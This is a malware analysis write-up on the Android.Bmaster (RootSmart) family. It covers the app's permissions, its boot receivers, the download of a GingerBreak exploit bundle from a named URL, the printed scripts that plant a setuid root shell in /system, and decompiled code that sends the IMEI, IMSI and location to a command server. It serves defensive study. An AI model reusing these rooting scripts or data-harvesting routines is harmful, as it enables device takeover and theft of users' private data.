Intro: What is Android.Bmaster?
This new malware-family emerged some weeks ago in third-party Chinese Android-Markets. This malware is taking advantage of the GingerBreak exploit to gain root privileges. This exploit is not embedded into the application, instead it is dynamically downloaded from a remote server together with other malicious apps. This kind of behaviour is similar to an earlier proof-of-concept application called RootStrap, developed by Jon Oberheide back in May 2011.
Android.Bmaster is also known as RootSmart. This name was given to the malware by Xuxian Jiang who found and reported the first samples in the wild.
Analysis of the Application and Its Structure
The app requests the following permissions:
- android.permission.ACCESS_WIFI_STATE
- android.permission.CHANGE_WIFI_STATE
- android.permission.BLUETOOTH
- android.permission.BLUETOOTH_ADMIN
- android.permission.WRITE_APN_SETTINGS
- android.permission.READ_SYNC_SETTINGS
- android.permission.WRITE_SYNC_SETTINGS
- android.permission.GET_ACCOUNTS
- android.permission.VIBRATE
- android.permission.FLASHLIGHT
- android.permission.HARDWARE_TEST
- android.permission.WRITE_SECURE_SETTINGS
- android.permission.READ_SECURE_SETTINGS
- android.permission.CAMERA
- android.permission.MODIFY_PHONE_STATE
- android.permission.READ_PHONE_STATE
- android.permission.INTERNET
- android.permission.RECEIVE_BOOT_COMPLETED
- android.permission.SYSTEM_ALERT_WINDOW
- android.permission.GET_TASKS
- android.permission.CHANGE_CONFIGURATION
- android.permission.WAKE_LOCK
- android.permission.DEVICE_POWER
- android.permission.ACCESS_FINE_LOCATION
- android.permission.WRITE_EXTERNAL_STORAGE
- android.permission.ACCESS_NETWORK_STATE
- android.permission.RESTART_PACKAGES
- android.permission.DELETE_CACHE_FILES
- android.permission.ACCESS_CACHE_FILESYSTEM
- android.permission.READ_OWNER_DATA
- android.permission.WRITE_OWNER_DATA
- android.permission.WRITE_SECURE_SETTINGS
- android.permission.WRITE_SETTINGS
- android.permission.MOUNT_UNMOUNT_FILESYSTEMS
- android.permission.READ_LOGS
- com.android.launcher.permission.INSTALL_SHORTCUT
- com.android.launcher.permission.UNINSTALL_SHORTCUT
After the application has been installed successfully, the icon of the app shows up in the dashboard and the application registers some receivers which will trigger when a specific system event occurs (for example: BOOT_COMPLETED, ACTION_SHUTDOWN, PACKAGE_ADDED or NEW_OUTGOING_CALL).
As far as we could detect, you can find all listeners and the corresponding intents afterwards:
- WcbakeLockReceivecr: USER_PRESENT
- BcbootReceivecr: BOOT_COMPLETED
- ScbhutdownReceivecr: ACTION_SHUTDOWN
- LcbiveReceivecr: CFF / PHONE_STATE / SIG_STR / SERVICE_STATE / NEW_OUTGOING_CALL / REBOOT / CONNECTIVITY_CHANGE / BATTERY_CHANGED / DATE_CHANGED / TIME_CHANGED / WALLPAPER_CHANGED
- PcbackageAddedReceivecr: PACKAGE_ADDED
After decompiling the dex-file we can see that the application consist of three packages:
- a – seems to be a SOAP library
- com.google.android.smart – the malicious part
- com.bwx.bequick – the benign part
The Malicious Actions:
- The app checks if the smartphone is exploitable and if it has been exploited by the app before
- The application downloads a zip-file (containing an exploit and two helper scripts).
- Afterwards the malware roots the smartphone and downloads a remote administration tool (RAT) for Android devices.
- It then connects regularly to the remote server to get new commands to execute (like downloading and installing new apps).
Check Exploit State:
After the application receives a BOOT_COMPLETED event the BcbootReceivecr is called. This receiver broadcasts a new action called action.boot. This action sets an alarm to 60 seconds. After this time periode a new action action.check_live will be broadcasted and the method b.a() will be called.
In this method the OS version is checked against “2.3.4″ and also the existence of a file called shells is checked. If The Android version is smaller than 2.3.4 and the shells-file is not existing, the application calls the method i.a() which we will examine in the next section.
if ((Build.VERSION.RELEASE.compareTo("2.3.4") >= 0) || (s.e())){
if (!this.a.getFileStreamPath("shells").exists()){
new i(this.a).a();
}
....
Downloading the Exploit:
You can find the encrypted URL inside the file res/raw/data_3 (ED04FB6CD722B63EF117E92215337BC7358FB64F4166F4EC40C40D21E92F9036). When we decrypt this string using a fixed seed number(stored in the Android manifest file) and provide this number to the Java random number generator, we get the first part of our URL: go.docrui.com
When appending the string from the method i.a() to our decrypted URL we get the real download link: http://go.docrui.com/androidService/resources/commons/shells.zip
After the malware has downloaded this file, it checks if the md5 is equal to 6bb75a2ec3e547cc5d2848dad213f6d3. Inside this zip-file are three files (install, installapp and exploit) which we will look at in the next paragraphs.
The first file is called install. This script remounts the filesystem in read-write mode and creates a new directory afterwards (/system/xbin/smart). Inside this directory the script creates a root shell and then the filesystem is remounted read-only:
#!/data/data/com.google.android.smart/files/sh
mount -o remount system /system
mkdir /system/xbin/smart
chown $1 /system/xbin/smart
chmod 700 /system/xbin/smart
cat /system/bin/sh > /system/xbin/smart/sh
chown 0.0 /system/xbin/smart/sh
chmod 4755 /system/xbin/smart/sh
sync
mount -o remount,ro system /system
The second script is called installapp. This script is a helper script which is able to write a file anywhere in the filesystem and is able to grant the +s mode to this file:
#!/system/xbin/smart/sh
mount -o remount system /system
cat $1 > $2
chown 0.0 $2
chmod 4755 $2
sync
mount -o remount,ro system /system
The last file in this zip-file is called exploit. It’s a GingerBreak version which was compiled out-of-the-box.
Rooting the Smartphone:
In the method f.a() the app executes the helper scripts and exploits the device. Therefore it checks the ExternalStorageState, unpacks the zip-file with the help of the method s.a() and changes the access rights of the files exploit and install to 755. After executing this two files through McbainServicce.class Boolean a() the application deletes some files and tries to clean up:
if ((!str1.equals("mounted")) && (!str1.equals("mounted_ro"))){
j = 0;
if ((j == 0) || (!this.a.a.d()))
continue;
str2 = this.a.getApplicationContext().getFileStreamPath("shells").getAbsolutePath();
if (!new File(str2).exists())
continue;
str3 = this.a.getApplicationContext().getFileStreamPath("exploit").getAbsolutePath();
str4 = this.a.getApplicationContext().getFileStreamPath("install").getAbsolutePath();
}
try{
if (!new File(str3).exists())
this.a.a.a(str2, "exploit");
if (!new File(str4).exists())
this.a.a.a(str2, "install");
StringBuilder localStringBuilder1 = new StringBuilder("chmod 775 ");
localStringBuilder1.append(str3).append(" ").append(str4);
boolean bool1 = this.a.a(localStringBuilder1.toString());
if (!bool1){
this.a.a.a.a(true);
this.a.a.a.a(i + 1);
if (s.e()){
g.a(this.a.getApplicationContext()).a("3");
this.a.a.a.a("3");
}
this.a.a.a(str3);
this.a.a.a(str4);
this.a.getApplication().deleteFile("sh");
this.a.getApplication().deleteFile("boomsh");
this.a.getApplication().deleteFile("last_idx");
continue;
j = 1;
break label45;
}
....
Due to this process the app is able to install its own shell into the system. With the help of this shell, the app is able to install new packages silently. If the whole rooting process fails, the app will also try to download and install new packages. In this case the system will display a pop-up message to the user and waits for approval.
The Network Action:
The infected smartphone communicates with a remote server and sends a SOAP request to this server when connecting. This request contains a lot of privacy critical information like location, IMEI, IMSI and exact type of smartphone the app is running on (see the excerpt of method g.b() below). After the server responded to this request the smartphone connects regularly to the server to receive further commands.
public final String b(){
StringBuilder localStringBuilder = new StringBuilder();
localStringBuilder.append(w.a("IMEI", this.c.getString("IMEI", "")));
localStringBuilder.append(w.a("IMSI", this.c.getString("IMSI", "")));
localStringBuilder.append(w.a("TYPE_TEL", this.c.getString("TYPE_TEL", "")));
localStringBuilder.append(w.a("VERSION_TEL", this.c.getString("VERSION_TEL", "")));
localStringBuilder.append(w.a("CID", this.c.getString("CID", "")));
localStringBuilder.append(w.a("LAC", this.c.getString("LAC", "")));
localStringBuilder.append(w.a("MNC", this.c.getString("MNC", "")));
String str1 = this.c.getString("SMS_CENTER", null);
if (str1 != null)
localStringBuilder.append(w.a("SMS_CENTER", str1));
String str2 = this.c.getString("INSTALL_TYPE", null);
if (str2 != null)
localStringBuilder.append(w.a("INSTALL_TYPE", str2));
localStringBuilder.append(w.a("PID", this.c.getString("PID", "")));
localStringBuilder.append(w.a("PACKAGE_ID", this.c.getString("PACKAGE_ID", "")));
localStringBuilder.append(w.a("PACKAGE_LEVEL", this.c.getString("PACKAGE_LEVEL", "")));
localStringBuilder.append(w.a("VERSION_USER", this.c.getString("VERSION_USER", "")));
localStringBuilder.append(w.a("VERSION_OWN", this.c.getString("VERSION_OWN", "")));
localStringBuilder.append(w.a("PACKAGE_NAME", this.c.getString("PACKAGE_NAME", "")));
return localStringBuilder.toString();
}
Some Information About the Corresponding Botnet:
According to Symantec the size of the botnet is between 10.000 and 30.000 active devices which are able to generate a revenue between 1.600 and 9.000 USD per day. Another discovery from Symantec was, that the bonnet is running since September 2011 and is able to push about 27 different malicious apps to an infected device.
Sample Information:
sha256:
8cb40e8dce05482907ff83b39911831daf20e4a69ee63a6cff523c880eed1acf
md5:
f70664bb0d45665e79ba9113c5e4d0f4
Mobile-Sandbox Report